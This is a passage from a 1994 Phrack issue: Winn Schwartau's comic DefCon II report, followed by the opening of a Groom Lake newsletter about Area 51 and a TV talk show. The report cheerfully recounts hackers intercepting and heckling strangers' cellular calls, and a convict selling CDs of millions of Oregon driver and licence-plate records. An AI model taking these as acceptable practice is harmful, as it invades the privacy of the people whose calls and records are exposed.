"Shit! Who the fuck is there?"

"No one!"

"I can hear him, he's there. You're both making fun of me . . ." Hacker: "She's laughing at you, man."

"No shit. Who the fuck are you?"

Hacker: "The guy who takes care of her when you can't, asshole." "That's it." Click.

Drug dealers aren't immune to these antics.

"Where's the meet?"

"By the 7/11 on Tropicana."

"You got it?"

"You got the cash?"

"Yeah, dude."

"Be sure you do."

Hacker: "He doesn't have the cash my man. He's gonna rip you off."

"What?" "What?" Both sides heard the intruder's voice. "Who is that?"

"What's that about a rip‑off?"

"This ain't no rip‑off man."

Hacker: "Yes it is. Tell 'em the truth. You gonna take his drugs and shoot his ass. Right? Tell 'em."

"You gonna rip me off?"

"No, man!"

"Your homeboy says you gonna try and rip me off?"

"What home boy?"

Hacker: "Me, you bozo drug freak. Don't you know that shit can kill you?"

Click.

Good samaritanism pays off upon occasion.

"Honey, hurry up."

"I'm on the freeway. I'm coming."

Hacker: "He's late. Let's save her ass."

"What was that?" "What did you say honey?"

"He said he was going to save your ass."

"Who did?"

"The guy on the radio." (Technical ignorance abounds.)

Hacker: "Me. You're late and she's scared so we're gonna beat you there and make her safe."

"Who the hell is that?" "Who?" "The guy with you?" "There's no one here." "He says he's gonna beat me there and pick you up." Hacker: "Damn right we are."

"Hey, this is cool. Who's there?"

Hacker: "Cyber Christ talking to you from Silicon Heaven."

"No shit. Really?"

Hacker: "Yeah, (choke, choke,) really."

"What's happening, honey."

"I don't know, for sure. He says it's God."

"God!?!?"

Hacker: "Close enough. Listen, you sound alright. Go get your woman, man Keep her safe."

"No problem. Uh, thanks."

Click.

Around 4AM, I guess it was, the hacker/phreaks definitely helped out law enforcement. One end of the conversation was coming from inside a hotel, maybe even the Sahara. The other from another cell phone, most likely in the lobby.

"What do you look like?"

"I'm five foot nine, thinning brown hair and 180 pounds I wear round glasses and . ."

"I get the idea. Where are you now?"

"I'm coming down the elevator now. What do you look like?" "I'm six foot one in my heels, have long blond spiked hair and black fishnet stockings."

Hacker: "Don't go man. It's a bust."

"What?" he said.

Hacker: "Don't go, it's a bust. You don't want your name in the papers, do ya?"

"What the fuck?" she yelled.

"There's a guy who says this is a bust?"

"Bust? What bust?"

Hacker: "That's the clue, man. She's denying it. Of course it's a bust. Is it worth a night in jail to not get laid?"

"Shit." He whispers not too quietly to another male companion. "There's some guy on the phone who says it's bust. What should we do."

Hacker: "I'm telling you man, don't go,"

"This ain't worth it. I'm going back upstairs."

Click.

A couple of hours later the same hooker was overheard talking to one of her work mates.

"Then this asshole says it's a bust. Cost me $300 in lost busi ness, shit."

"You, too? Same shit been going on all night long. What the fuck?"

Wow. And it seems like only this morning that my toilet explod ed.

* * * * *

So what's a perfectly groomed and slightly rotund 50‑something convicted methamphetamine dealer doing at DefCon II with hundreds of impressionable teenagers? You might well ask.

So I'll tell you.

Sitting in yet another Saharan hell‑hole of a room they unabash edly market for $55 per night I encountered hackers #1 through #4 and this . . . I immediately thought, elderly gent. He said nothing and neither did I, thinking that he might have been an over aged chaperone for delinquent teens or perhaps even an understanding Fed. But the gallon jugs of whiskey was depleting itself right before my eyes, as if a straw from Heaven sucked the manna from its innards. Actually, it was Bootleg.

Not bootleg liquor, mind you, but Bootleg the felonious con from Oregon. Apparently he got busted 'cause speed is and was against the law, and crank is not exactly the drug choice of maiden aunts nor school marms. "I've been a hacker longer than some of these kids have been alive. It all started back in . . ." and Mike "Bootleg" Beketic commenced on the first of hundreds of war‑story jail house tales to entertain him and us. Bootleg loves a good story.

"Jail ain't so bad," he bragged with a huge whiskey smile. "No one fucked with me. You gotta make friends early on. Then it's OK." Good advice, I guess. "On parole I got slammed with a year for piss that didn't pass." Gotta be clean, my man. Stay away from that shit. It'll kill you and your teeth will rot.

Bootleg handed me form PROB‑37, (Rev. 1/94) from the United States District Court, Federal Probation System. Grins from ear to ear. A badge of honor for villains, thieves, and scoundrels. Sounds like they need their own union.

This was the official "Permission To Travel" form dated June 16, 1994 which gave Bootleg the legal right to travel from Oregon to Las Vegas in the dead of the summer to attend a "computer conven tion." The flight times were specific as were the conditions of his freedom. He had to inform the local cops that he was in town. In case any crimes occurred throughout the city of Las Vegas during his sojourn, he was an easily identifiable suspect.

While he downed another Jack and coke I found out what Bootleg was really doing. Despite the fact that the "Federal Keep Track of a Crook Travel Form" said, "you are prohibited from advertis ing or selling your DMV CD," the paranoia that runs rampant through the minds of prison bureaucracy was actually in this case quite correctly concerned.

"What's a DMV CD?"

"I'm glad you asked." I was set up. The edict said he couldn't sell or advertise, but there was no provision stating that he couldn't answer questions from an inquiring mind.

Bootleg handed me a CD ROM:

Bootleg Presents:

DMV

‑ Over 2 Million Oregon Drivers License Records

‑ Over 3 Million Oregon License Plate Records

The inside jacket clearly stated that this information was not to be used by any creatively nefarious types for any sort of person al Information Warfare tactics. It warns,

Do not use this CD to:

‑ Make phony Licenses

‑ Make phony Titles

‑ Obtain phony I.D.

‑ Harass Politicians, Cops or Journalists

‑ Stalk Celebrities

‑ Get ME in trouble <G>

I can come up with at least 1001 other uses for this collection of information that the Oregon authorities are none too happy about. The ones Bootleg outlined never came into my mind. (Heh!) Bootleg acquired the information legally. State officials were kind enough to violate the electronic souls of its citizens by sending Bootleg their driver's information magnetically embla zoned on a 3600 foot long piece of 9 track acetate. Now they want to change the law to reflect "heart felt concern for the privacy of their citizens." Get a clue, or if none's available, buy one from Vanna.

Bootleg is moving onto the next 47 states (California and New York don't permit this kind of shenanigans) shortly to make sure that everyone has equal access. Hacking? Of course. Bootleg effectively hacked the Oregon DMV with their blessing and tax payer paid‑for assistance.

Time to go back to my room while Bootleg and friends spent an evening of apparently unsuccessful whoring around the Strip and Glitter Gulch.

A good time was had by all.

* * * * *

Jeff Moss opened the Sunday morning session with an ominous sermon.

"You'll notice that the wet bar is missing from the rear?" It had been there yesterday. Everyone turns around to look. "I gotta pay for the damage . . . " Jeff was not a happy camper. "They have my credit card number and it's almost full. So cool it!" But the show must go on and we had more to learn.

Next. Anonymous mailers on the net? Forget about it. No such thing. Anonymous remailers, even if they are in Norway or Finland or some such other country where American information contraband such as child pornography is legal, are only as safe and secure as the people who run it

"The FBI can go over any time they want and look up who you are and what kinds of stuff you swallow down your digital throat," one speaker announced. Of course that's ridiculous. The FBI would have to call in the Boy Scouts or Russian Mafia for that kind of operation, but we all knew that anyway. A slight slip of the ad lib tongue. No harm done.

I didn't know, until this Sunday, that there were actually real live versions of "Pump Up The Volume" running rampant across the country, impinging their commercial‑free low power radio broad casts into an electromagnetic spectrum owned and operated by the Federal Communications Commission. And, as to be expected, the FCC is trying to put these relatively harmless stations out of business along with Howard Stern and Don Imus. One would think that WABC or KLAC or any other major market stations would little care if a podunk 20 watt radio station was squeezing in between assigned frequencies. And they probably shouldn't. But, as we learned, the Military lent an innocent hand.

In support of the hobbies of servicemen, a local San Francisco base commander gave approval for a group of soldiers to establish a small, low power radio station for the base. Good for morale, keep the men out of the bars: you know the bit.

But the ballistic missiles went off when the nation's premier rating service, Arbitron, listed KFREE as a top local station in the San Francisco market.

"What station KFREE?" "Who the hell are they?" "What the fuck?"

Needless to say, KFREE was costing the legitimate radio stations money because advertising rates are based upon the number of listeners not up and peeing during commercials. Since KFREE was ad‑free, no contest. Arbitron assumes the rating to relect the existence of a real station ‑ the numbers are there ‑ and the local stations call the FCC and the FCC calls the base and as quick as you can scream, "Feds suck!" KFREE is off the air.

Stomp.

I was scheduled to speak today, but with the schedule seemingly slipping forward and backward at random haphazard intervals, there was no telling when what would occur. Mark Ludwig, of Virus Writing Contest fame and author of the much touted "Little Black Book of Computer Viruses" Virus gave a less then impas sioned speech about the evils of government.

"I know most of you don't have any assets other than your comput er," Ludwig said to the poverty stricken masses of DefCon II. "But you will, and you want to make sure the government doesn't come crashing down around you whenever they want. They can and will take your life away if it suits them. There is no fourth amendment. Most search and seizures are illegal." And so it went.

"Put your money off shore, kids," said Dr. Ludwig the theoretical physicist. "Find a good friendly country with flexible banking laws and the Feds can't get you."

"And when the Feds do come for you, make sure that your entire life is on your computer. Rip up the papers after you scan them in. Your all‑electronic life cannot be penetrated ‑ especially if you get a case of the forgets. 'Oops, I forgot my password. Oops! I forgot my encryption key. Oops! I forgot my name.'"

"Even your VISA and Mastercard accounts should be from overseas. Keep it out of the US and you'll be all the better for it." For those interested in such alternative, Ludwig recommends that you call Mark Nestman: of LPP Ltd. at 800‑528‑0559 or 702‑885‑2509. Tell him you want to move your millions of rubbles and dollars and Cyber‑credits overseas for safe keeping because the Byzantine Police are at the front door as you speak. Order pamphlet 103.

These are the defensive measures we can take protect ourselves against the emerging Police State. But offensive action is also called for, he says. "Help Phil Zimmerman. Send him money for his defense. Then, laugh at the Feds!" Haha, haha. Haha. Hahahahahaha. Ha!

."When they come to the door, just laugh at them." Haha. Haha ha. Haha. "No matter what they do, laugh at them." Hahahahaha. Enough of that, please. If I laugh at 6 husky beer‑bellied Cyber‑cops who have an arsenal of handguns pointed at my head, they might as well send me to the Group W bench to commiserate with Arlo Guthrie. Peeing would come before laughing. But then again, I'm no longer a grunged out 20 year old who can laugh in the face of the Grim Reaper. "Yes, ossifer, sir. I'm a cybercrook. I ain't laughing at you in your face, ossifer, sir . . ." I panic easily. Kissing ass well comes from a life long success of quid pro quo'ing my way from situation to situation.

"And, now," Master Mark announced, "on to the results and awards for the Annual Virus Writing contest." Ludwig seemed suddenly depressed. "Unfortunately, we only got one legitimate entry." One entry? The media plastered his contest across the mediawaves and the National Computer Security Association was planning a tactical nuclear response. One entry? What kind of subver sives have 20 year olds turned into anyway? In my day (Yeah, I'm old enough to use that phrase) if we called for a political demonstration thousands would pile through the subway turnstiles to meet a phalanx of well armed police appropriately attired in riot gear. One entry? Come on X‑Generation, you can do better than that? No wonder the world's going to shit. Don't have enough trouble from the young‑uns. Sheeeeeeesssh!

Mark Ludwig's politically incorrect virus writing contest may have been a PR success but it was a business abortion. One entry. Shit. At the NCSA meeting in Washington, rivaling fac tions battled over how we as an association should respond.

"Hang the bastard." "He's what's wrong with world." "Put him in a county jail with Billy‑Bob, Jimmy‑Ray and Bubba for a week and they'll be able to squeeze him out between the bars."

C'mon you fools! Ignore him! Ignore him! If you don't like what he has to say don't egg him on. Ignore him. You want to do what the Feds did to poor Phil Zimmerman and make him a folk hero? Turning a non‑event into the lead for the evening news is not the way to make something go away. I loudly advocated that he be treated as a non‑entity if the goal was reduction to obscurity. I was right.

Super‑high priced PR and lobby firms had prepared presentation to wage an all‑out attack on Ludwig and his contest. I bet! And who was going to pay for this? Peter Tippitt of Semantech ponied up what I believe amounted to $7,000 to get the pot going. No one else made a firm offer. Can't blame them cause it would have been no more effective than taking out an ad in Time proclaiming that evil is bad. The PR firm would have made their fees, the event would have made even more news and Ludwig would certainly have had to make a judgement and choose from more than one entry.

But oddly enough, the one entry did not win.

The winner of the Annual Virus Writing Contest was no less than Bob Bales, Executive Director of the NCSA. Not that Bob wrote a program, but if he had, Ludwig said, it would be called either Don Quixote or Paranoia, and it would be of the human brain at‑ tacking Meme type. The virus is a software equivalent of Prozac to alleviate the suffering in middle‑aged males who have no purpose in life other than virus busting.

"Is Winn Schwartau here?" Mark asked the audience.

I was there. "Yo!"

"Would you tell Bob that he's won a plaque, and a $100 check and a full year subscription to the Computer Virus Developments Quarterly." I'm the technology advisor to the NCSA so it was a natural request to which I was pleased to oblige.

I told Bob about his 15 minutes of fame at DefCon to which he roared in laughter. "Good! Then I won't have to subscribe my self."

I spoke next. Jeff introduced me by saying, "Winn says he doesn't want to speak to an empty room so he's gonna talk now." Some introduction. But, what a great audience! Better than most of the security above‑ground starched sphincter tight suit and tie conference audiences I normally get. But then again, I get paid handsomely to address legitimate audiences where I have to be politically correct. At DefCon, insulting people was the last thing I worried about. It was what I focused on, onstage and off.

"Hey, kid. Did you ever land Zimmerman in bed?"

"You, you, er . . ."

"C'mon kid. Give me your best shot."

"Your mother . . ." A crowd gathered to see what kind of repar tee this little schnook could come up with. "Your mother .. ." C'mon kid. You got it in you. C'mon. "You, she is a . . . uh, . . . mother . . ." and he finally skulked away in sheer embarrassment. Poor kid. When he went to the men's room, men walked out. Poor kid. I don't think he ever figured out it was all a put on.

The audience got it, though. Rather than go over what I rambled about for an hour, here comes a blatant plug: Go buy my new book "Information Warfare: Chaos on the Electronic Superhighway." That'll sum it up real nice and neat. But what a great audience. Thanks.

Little did I know, though, that I was also on trial.

John Markoff of the New York Times was the first to ask, and then a couple of buddies asked and then a lady asked during the Q&A portion of my ad hoc ad lib speech. "How come you did it?" Did what? "How come you flamed Lenny DeCicco?"

It turns out that someone adapted my electronic identity and logged on to the WELL in Sausalito, CA and proceeded to post a deep flame against Lenny. Among other none‑too‑subtle asper sions, 'my' posting accused Lenny of a whole string of crimes of Information Warfare and even out and out theft.

Except, it wasn't me. I answered the lady's question with, "It wasn't me, I don't know Lenny and I don't have an account on the WELL." That satisfied everyone except for me. What happened and why? It seems that Lenny's former partner in crime MostWanted on the lam federal fugitive computer hacker Kevin Mitnick actually wrote and signed the letter with his initials. Or someone was spoofing him and me at the same time. But why? And why me?

It took a couple of days after arriving home from DefCon to learn after extensive conversations with the WELL that my erased ac count from almost two years ago and then re‑erased on June 20 of this year was accidentally turned back on by some mysterious administrative process that I cannot claim to fathom. OK, that's what they said.

But perhaps most interesting of the entire Getting Spoofed inci dent was a single comment that Pei Chen, sysop of the WELL said to me while I complained about how such an awful anti‑social attack was clearly reprehensible. Oh, it's simple, she said.

"We have no security." Whooaaaahhh! The WELL? No security? I love it. I absolutely love it. Major service provider, no security. Go get 'em cowboy.

The only other speaker I wanted to see was Peter Beruk, chief litigator for the Software Publisher's Association. This is the Big Software Company sponsored organization which attempts to privately interdict illegal software distribution as a prelude for both civil and criminal prosecutions. And with this group of digital anarchists, no less.

The SPA scrounges around 1600 private BBS's to see who's making illicit copies of Microsoft Word or Quattro For Weanies or Bulgarian for Bimbos or other legitimate software that the pub lishers would rather receive their due income from then being stolen.

"Which boards are you on?"

"That would be telling." Big grin and laughs.

"Is your BBS secure?" A challenge in the making.

"Sure is."

"Is that an offer to see if we can break in?" Challenge made.

"Ahem, cough, cough." Challenge denied.

"What name do you use on the boards?" Idiot question that de serves an idiot answer.

"Fred." Laughs.

"You mean you have a full time guy to download software from boards to see if it's legal or not?" "Yup."

"So, you pay people to commit felonies?" Astutely stupid ques tion.

"We have permission."

"Why should we have to pay rip‑off corporations too much money to use really shitty software?"

"So don't buy it."

"We don't. It's so shitty that it's barely worth stealing."

"So don't steal it."

"Just want to check it out, dude."

"Scum sucking imperialists are making all of the money. The software designers are getting ripped off by the big software bureaucracies. Power to the people." Every generation goes through this naively innocent berating of capitalism. It doesn't make them Communists (in 1950 it did), just not full fledged capitalist pigs themselves yet. Soon come. Vis a vis Ludwig's comment on the asset‑deprived audience. Soon come, man.

"We go after BBS's that store illegal software."

"So you're gonna put Compuserve in jail?" Big, big applause.

Despite the openly verbal animosity between the free‑ware believ ers and the Chief Software Cop, the spirited and entertaining disagreements maintained a healthy good natured tone that well exceed Peter's time limit, as DefCon II was coming to a close.

It was time for one more stand up comedy attempt by a short haired bandanna wearing hippie/hacker/phreak who was not quite up to the job.

"OK, guys. We've had some fun at the Feds expense. They're people, too. So, from now on, it's Hug a Fed. Go on, find a fed and go up to him or her and big them a great big bear hug full of love." The Feds that had been busted were gone. The ones still successfully undercover weren't about to blow it for a quick feel from a horny teenager.

Next. The Cliff Stoll doll with an assortment of accessory yoyos was a popular item. It was thrown pell‑mell into the crowds who leapt at it with a vengeance like a baseball bleachers sec tion awaiting the 61st home run.

"There used to be a Wife of Cliff Stoll doll, but no one's seen it in two years." Cliff is strange. I don't know if he's that strange, but it was a funny bit.

"Then we have the LoD/MoD action figure set starring Erik Bloo daxe and Phiber Optik." GI Joe action set gone underground. Corny, but appreciated as hundreds of bodies dove to catch the plastic relics tossed from the stage.

If anything, an anti‑climatic end to an otherwise highly informa tive and educational conference. I can hardly wait till next year when, after word gets out, DefCon III will be attended by thousands of hackers and cops and narks who will try to replay the Summer of Cyber‑Love '94 for a sequel.

* * * * *

More than anything I wanted to get away from the Sahara. Away from its nauseatingly chromatic carpets, it's hundreds of sur veillance cameras, and most of all, away from its exploding toilets.

We decided to play, and play we did at the new Luxor Hotel which is an amazing pyramid with 4000+ rooms. There are no elevators as in a pyramid 'going up' is kind of useless, so Inclinators take passengers up the 30 some odd floors to hallways which ring around the impossibly huge hollowed out pyramid shaped atrium.

This was play land. And for three hours we played and played and went to dumb shows that attract mid‑western mamas from Noodnick, Kentucky, alighting in Vegas for their annual RV pilgrimage. But we went and enjoyed none the less.

The "Live TV" show was anything but live except for lovely Susan who hosted us into the ersatz TV station. Her job is to look pretty, sound pretty and warm up the crowd for an over budget, overproduced schmaltz driven video projection that was to make us all feel like we were on stage with Dave. Letterman, that is. The effect does not work. But we enjoyed ourselves, anyway.

"Everyone here on vacation?"

"No!" I yelled out. Poor Susan was stunned. No? Why else would you be here?

"What are you doing?" The TV audience of 500 was looking our way. Between the five of us we had a million dollars (give or take) of electronic wizardry stuffed around us, beneath us and in our laps.

"Working." Gee, I'm quick.

"What do you do?" Susan asked with a straight face. I bet she expected something like gas pumper, or nocturnal mortuary forni cator or 7/11 clerk.

"We're hacking for Jesus. This is Cyber Christ!" I said pointing at Erik Bloodaxe.

Silence. Dead silence again. Sleep with Phil Zimmerman silence. Except for us. We giggled like school boys. Psyche.

"Ah, . . . that's nice." That was all she could come up with: That's nice. So much for ad libbing or deviating from the script. But the TV audience enjoyed it. A whole lot. They finally figured out it was put on. Not every one from the MidWest is as stupid as they all pretend to be.

Then it was time to get sick. VR rides do me in, but not to be publicly humiliated by my 20‑something cohorts (and Mike Peros with whom I had to travel yet another 2000 miles that night) I jumped right into an F‑14 simulator which rotated 360 degrees on two gimbals for an infinite variety of nauseousness.

"Oh, shit!" I yelled as I propelled myself forward and around and sideways with sufficient g‑force to disgorge even the most delec table meal. "Oh, shit." I had reversed the throttle and was now spinning end over end backwards. My inner ear was getting my stomach sick. "Oh, shit." Out of the corner of my eyes my four pals were doubled over in laughter. Had I barfed yet and not known it? God, I hope not. "Oh, shit." I came to a dead stand still, the video screen showed me plummeting to earth at escape velocity and I pushed the throttle forward as roughly as I could. An innate survival instinct came in to play. "Oh, shit!" The virtual aircraft carrier came into sight and after almost 2 minutes of high speed rotating revulsion, I was expected to land this spinning F‑14 on a thimble in the ocean. Right. I tried, and damned if I didn't make it. I have no idea how, but I got an extra 34,000 points for a safe landing. 120 seconds. Ding. Time's up.

I got out of the simulator and spilled right onto the floor; one 42 year old pile of humanity who had navigated nausea but whose balance was totally beyond repair. "Could anyone hear me?" I asked from my knees.

"They were selling tickets."

"Do I get my money back?"

Onto the VR race cars. I really thought I'd throw up to the amusement of a thousand onlookers. Hacking then phreaking then flying and now driving. I put the pedal to the metal and crashed. The huge video display has me tipping end over end and the screen is shaking and the car I'm driving is shuddering violently but my brain can't compute it all. I'm gonna wretch, I just know it. But I keep on driving, decidedly last against people who haven't been handicapped with an inner ear so sensi tive I get dizzy when I watch a 5" black and white TV.

We tilted out of there and alas, it was time to find a 200,000 pound of metal to glide me home. It was a damn good thing I hadn't eaten before VR Land, but I wolfed down $3 hot dogs at the air port knowing full well that whatever they served on the plane would be a thousand times worse. So Mike and I munched, leaving Cyber Christ and friends to battle the press and the stars at the opening of Planet Hollywood at Caesar's Palace.

And then an unexpected surprise. Lisa and friend; our first class objects of flirtation from the outbound trip which seemed like a month ago, appeared. But we were all so wiped out that a conti nent of innuendo turned into a series of short cat naps. We got a few flirts in, but nothing to write home about. Red Eye flights are just not what they're cracked up to be.

As I crawled into bed at something like 7AM Eastern, my wife awoke enough to ask the perennial wife question. "What did you do all weekend?" I, in turn, gave her the usual husbandly re sponse.

"Oh, nothing. Good night, Gracie."

* * * * *

(C) 1994 Winn Schwartau

Winn Schwartau is an information security consultant, lecturer and, obviously, a writer. Please go buy his new book: "Informa tion Warfare: Chaos on the Electronic Superhighway." Available at book stores everywhere. Winn can be reached at: Voice:

The Groom Lake Desert Rat

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 21 of 28

****************************************

[Several of us had plans to tempt fate and join the other pop‑culture lemmings running off to Area 51 during Defcon. The not‑so‑secret base has seen more press this year than Madonna. Armed with our ICOM 2SRAs and a copy of "The Area 51 Viewer's Guide"

we planned to put our lives on the line purely for the sake of being able to say "We were there!"

The night before we were planning on going, FOX‑TV broadcast an episode of "Encounters" that focused heavily on Area 51. The thought of tromping off on our little recon adventure accompanied by winnebago‑loads of families taking the kids

to see "that dang UFO place from the TV," just sorta ruined the mood.

Hopefully, this won't happen to you. And if you do go,

you really should consider getting the "viewer's guide"

from Glenn Campbell (psychospy@aol.com). Email him for

a catalog of Area 51 stuff.

Glenn also publishes an electronic mag documenting recent activities surrounding Area 51, and related activities. With his permission, Phrack is extremely please to bring you the latest issue of "The Groom Lake Desert Rat."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

THE GROOM LAKE DESERT RAT. An On‑Line Newsletter.

Issue #15. Sept. 2, 1994.

‑‑‑‑‑> "The Naked Truth from Open Sources." <‑‑‑‑‑

AREA 51/NELLIS RANGE/TTR/NTS/S‑4?/WEIRD STUFF/DESERT LORE Written, published, copyrighted and totally disavowed by psychospy@aol.com. See bottom for subscription/copyright info.

In this issue...

SUBTLETIES OF THE TELEVISION TALK SHOW, PART I

NEW AIR FORCE STATEMENT ON GROOM

EG&G TO ABANDON TEST SITE

JANET "N" NUMBERS

JANET HANDOFF FREQUENCIES

GROOMSTOCK '94

SOUND FAMILIAR?

CAMPBELL ARRAIGNED

LARRY KING NOT CLONED?

MYSTERIOUS SIGN DISAPPEARANCE

INTEL BITTIES

[Note: This file ends with "###".]

‑‑‑‑‑ MEDIA COMMUNICATIONS 103A ‑‑‑‑‑

SUBTLETIES OF THE TELEVISION TALK SHOW, PART I

In DR #10, we reviewed the major news media‑‑print, radio and television‑‑and showed how each could twist reality in their own special way. Strictly for the sake of science, Psychospy allowed himself to be turned into a minor media celebrity so we could report to our readers the sometimes dubious processes behind the scenes. There was a limit, however, to how low we would sink in the pursuit of knowledge. We would not take off our clothes for the camera, and we would not place ourselves in any situation where our credibility, reputation or dignity could be seriously trashed.

Now we can report that this barrier has been broken. In the next two issues of the Rat we will recount our first‑hand experiences with the lowest form of mass media, the television talk show.

..... THE MEDIUM OF TALK .....

Talk shows come in three basic formats. The rarest but most respectable is the SERIOUS ISSUES talk show exemplified by "Meet the Press," "Nightline" and the roundtable discussions on PBS‑maybe even "Larry King Live." They are dignified and serious, explore meaningful political and societal issues, and hardly anyone watches them.

The next rung down the ladder‑‑vapid but benign‑‑is the CELEBRITY CHAT talk show, like the "The Tonight Show," "Late Show with David Letterman" and "Arsenio Hall." Movie stars and Big Money authors pump their latest work in a non‑confrontational environment designed only to promote laughs.

The last and lowest form of the genre is the HUMAN CONFLICT talk show. These syndicated programs always bear the name of the host, like "Oprah," "Geraldo," "Vicky" or "Leeza." He or she is a charismatic and camera‑loving character, no doubt ruthless in real life, but blessed with the ability to convey warmth and sincerity on TV. The fodder for these shows is a steady diet of human suffering, crises, angst and tragedy. Former spouses and estranged friends face off against each other; grown men and women reveal to the parents their until‑now‑hidden perversities, and human oddities of all shapes and sizes present themselves for humiliation before a nationwide audience. The ultimate goal of these shows is the public expression of private feelings. They seek tears, anger, jealousy and graphic self‑immolation recorded by the camera on a tight close‑up. With a dozen such shows now in syndication, the competition is intense to seek out new forms of conflict and expose the latest narcissistic trends.

Talk shows are produced "live on tape" with minimal editing, and this presents special problems for a guest. In other forms of television, sound bites rule the show. It may seem artificial, but tight editing at least assures that each party has their say and only their finest bon mot will be used. The courteous speaker with a few good ideas can confidently compete with any extravagant, microphone‑hogging blowhard, because most of what the blowhard says will be cut. In the almost‑live talk show, the more reasonable speaker has to compete with the blowhard head on. There is no time for an orderly presentation of evidence; he who makes the most outrageous, confident and colorful claims, groundless or not, gains the camera's eye and controls the game.

If you have any shred of personal dignity and are asked to be a guest on a Human Conflict show, the best response is obvious: "Just Say No." Unless you are a masochist or a natural born actor, there is no way you can win in this format. We know it now; we knew it then, but sometimes, like Oedipus, you just can't stop the inevitable march of Fate....

..... ONWARD TO HUMILIATION .....

The path to our own downfall was indirect. For several months, a number of journalists have been making the pilgrimage to Freedom Ridge, and we generally escort them as a sort of local public relations representative. We do not charge for this service, and we do not discriminate between journalists. If TASS or Penthouse or the Podunk Review came to call, we would treat them no differently than the New York Times.

In May, we got a call from a producer from the Montel Williams Show, one of the Human Conflict shows that we had never seen. It seems that "Montel," as he is known to the world, had promised on an earlier talk show that he would visit the border of Area 51. We told the producer that we would be willing to escort Montel and his crew to Freedom Ridge to tape a segment, but we declined an offer to come to New York to appear on the studio show. Montel's visit was originally scheduled for May 5 but was canceled at the last minute, and we breathed a sign of relief.

In August, the project was reactivated, we suspect as the result of the June 22 article in the New York Times. Montel's visit was scheduled for Aug. 16, and we were again asked if we would go to New York to appear on the later show. Again, we declined.

When Montel came to Rachel, he brought a Humvee, his producers and a film crew. We went through the usual script for the camera: Montel drives up to our Research Center, and we meet him in the driveway. Inside, we show him where we are going on the map, then we get in the car and drive the rugged road to Freedom Ridge. We had done it before with countless crews, but never so quickly and in so few "takes." When Montel arrived, there was no question that he was in charge. He asked no significant questions, and showed no particular interest in the secret base itself. We sensed that he came only because he said he would and that his primary aim was to film a sound bite on the ridge that said, "You see, I did what I promised."

As we rode down from Freedom Ridge in the Humvee with Montel and the producer, we were again asked if we would come to New York to appear on the talk show the following week, Aug. 23. We hesitated and were about to turn down the offer cold, when the producer uttered the only horrible words that could force us to comply.

Sean David Morton.

..... THE EMBODIMENT OF EVIL .....

We first learned of Sean Morton over two years ago, before we came to Rachel. We had heard his enthusiastic endorsement of the Black Mailbox on a UFO video:

"Probably the most amazing thing about Area 51 is the fact that this is literally the only place in the world where you can go out and actually see flying saucers on a timetable basis. You can literally go out there on a Wednesday night between about seven and one a.m. and you'll see these things flying up and down the valley. It's absolutely amazing. On even a bad night you'll have ten, eleven, twelve sightings. On a good night‑‑and I've been out there with friends of mine camping‑‑on a good night the sky will just rip open with these things. You'll see anywhere between twenty to forty objects in a night testing over the base for anywhere from fifteen and forty minutes at a time."

We've lived near the border for over a year and a half now, are genuinely interested in UFOs and have spent countless days and nights in the desert; yet we haven't seen even ONE flying saucer, let alone scores. The logical explanation is that we arrived too late, after the saucers had been packed up and moved elsewhere. The trouble with this theory is that during the early part of our tenure, Sean Morton continued to bring tours to the area‑‑at $99 a head‑‑and reported UFOs everywhere.

In one celebrated incident in March 1993, Psychospy spent the night on White Sides, overlooking Groom Lake, with some aviation watchers and a writer from Popular Science. We were looking for the alleged Aurora spyplane‑‑almost as ephemeral as flying saucers‑‑but we saw nothing more than a few satellites, some distant aircraft strobes and an occasional meteor. The following was reported in the March 1994 Popular Science....

"Last March, three chilly airplane watchers with binoculars atop White Sides Mountain at this magic hour [4:45am] were tracking a 737 airliner approaching Groom Lake, as a fourth member of their group thawed out in his truck below. Parked on a knoll, he was next to a vanload of UFO seekers. They were lead by tour operator Sean Morton, whose leaflet described him as 'the world's foremost UFO researcher.'

"Morton donned a horned Viking helmet and from time to time pointed to the sky, exclaiming: 'Look at that one!' The airplane watcher trained his binoculars in the same direction but saw nothing out of the ordinary. Later, Morton's group became excited by what they perceived as an entire formation of UFOs; the airplane watcher's lenses revealed only stars. Finally, as the morning's first 737 made its gentle approach toward Groom Lake at 4:45, the UFO enthusiasts rejoiced at Old Faithful's appearance. Everyone had seen exactly what they hoped for."

In the beginning, when we were new to the area, we were generous to Sean and called him "fantasy prone." As we got to know him better and gained confidence in our own knowledge base, we came to mince no words. Sean is a deliberate con man. He recognizes as well as us the landing lights of a 737, but he knows that others can be fooled and taken for a $99 ride to see them. If anyone is spreading disinformation about Area 51, filling the air with noise to make the truth harder to grasp, it isn't sinister government agents; it's Sean David Morton pursuing only his own greed and self‑aggrandizement.

We have worked hard over the past 18 months to undo the damage Sean has done and displace him from the Area 51 scene. Discrediting Sean isn't complicated: We simply quote his own words whenever we can. Sean is a broadly diversified charlatan, a self‑proclaimed expert in faith healing, earthquake prediction, psychic prophesy and virtually every other New Age fad. We have no problem at all with him plying his trade within the confines of the state of California where he justly belongs, but when he proclaims himself the foremost authority on Area 51, we get territorial. We hope that our "Area 51 Viewers Guide" has reduced the gullibility of newcomers and made the environment less attractive for leeches like him. In fact, we haven't had a confirmed Morton sighting near the border in over a year. We heard from sources in California that he no longer gave tours to Area 51 because the saucers had been moved elsewhere‑‑which was fine by us.

The saucers must have returned, however. As the recent Groom Lake publicity reached its peak, "The World's Foremost UFO Researcher" could not help but resurface to suck energy from it. In recent months, reports began to reach us that he had appeared as an Area 51 expert at UFO conferences, on radio talk shows and on the Montel Williams Show.

In the latter appearance, which was first broadcast in December 1993, Sean showed video footage of nighttime "UFOs" that he said he photographed "at great risk to my own life." As we viewed them later, one clip showed an isolated circle of light jumping around within the frame. It could have been any stationary out‑of‑focus light shot through a hand‑held video camera. Notches seen on the top and bottom of the "disk" correspond to protrusions inside the lens assembly. In the other clip, only slightly out of focus, we saw the lights of a 737 landing on the Groom Lake airstrip. To Sean, it was "an object actually coming in from space." The time stamp in the corner said "4:49 am."

It was on this show that Montel promised to visit Area 51 escorted by Sean; yet when Montel finally made the trip eight months later, Sean was not invited. The producer told us that word had reached him from many sources that Sean was considered a fraud, that in addition to UFOs he also did psychic prophesies and that his claimed credentials were highly dubious. He and Montel felt that Sean had taken advantage of them and that by having him on the show they had inadvertently legitimized him.

But none of that prevented them from inviting him back as a guest the second studio show.

